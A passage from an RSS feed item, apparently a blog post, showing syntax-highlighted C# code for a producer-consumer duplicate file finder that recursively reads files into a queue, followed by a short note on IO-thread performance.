<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _q<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>OutputDuplicates();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">void</span> GetFiles(<span style="color: blue; font-weight: bold;">string</span> rootDir)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">string</span>[] files <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">null</span>;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">try</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; files <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Directory</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetFiles(rootDir);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">foreach</span> (<span style="color: blue; font-weight: bold;">string</span> fn <span style="color: blue; font-weight: bold;">in</span> files)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span> def <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileDataDefinition</span>();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileName <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Path</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetFileName(fn);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FilePath <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Path</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetDirectoryName(fn);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>LastModifiedDate <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Directory</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetLastWriteTime(fn);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileInfo</span> fileInfo <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileInfo</span>(fn);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; def<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>FileSize <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> fileInfo<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Length;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">FileStream</span> f <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileStream</span>(fn, <span style="color: olive; font-weight: bold;">FileMode</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Open);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">byte</span>[] bytes <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: blue; font-weight: bold;">byte</span>[f<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Length];&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; f<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Read(bytes, <span style="color: teal;">0</span>, (<span style="color: blue; font-weight: bold;">int</span>) f<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Length <span style="color: rgb(128, 128, 192); font-weight: bold;">-</span> <span style="color: teal;">1</span>);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; f<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Close();</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _q<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>EnqueueTask(<span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">FileBytes</span>(def, bytes));</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">catch</span> (<span style="color: rgb(43, 145, 175); font-weight: bold;">Exception</span> e)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">string</span>[] dirs <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">null</span>;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">try</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; dirs <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">Directory</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>GetDirectories(rootDir);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">foreach</span> (<span style="color: blue; font-weight: bold;">string</span> s <span style="color: blue; font-weight: bold;">in</span> dirs)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; GetFiles(s);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">catch</span> (<span style="color: rgb(43, 145, 175); font-weight: bold;">Exception</span> e)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
</div>
<p>If you run each versions of the code, you will see that this approach has most of the performance gains. It has better performance than ThreadPool approach since the IO thread always tries to keep the queue. Further, concentrate IO operations into a single thread helps the system optimize IO requests and thus increases the IO subsystem performance.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/09/05/producer-consumer-a-duplicate-file-finder/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
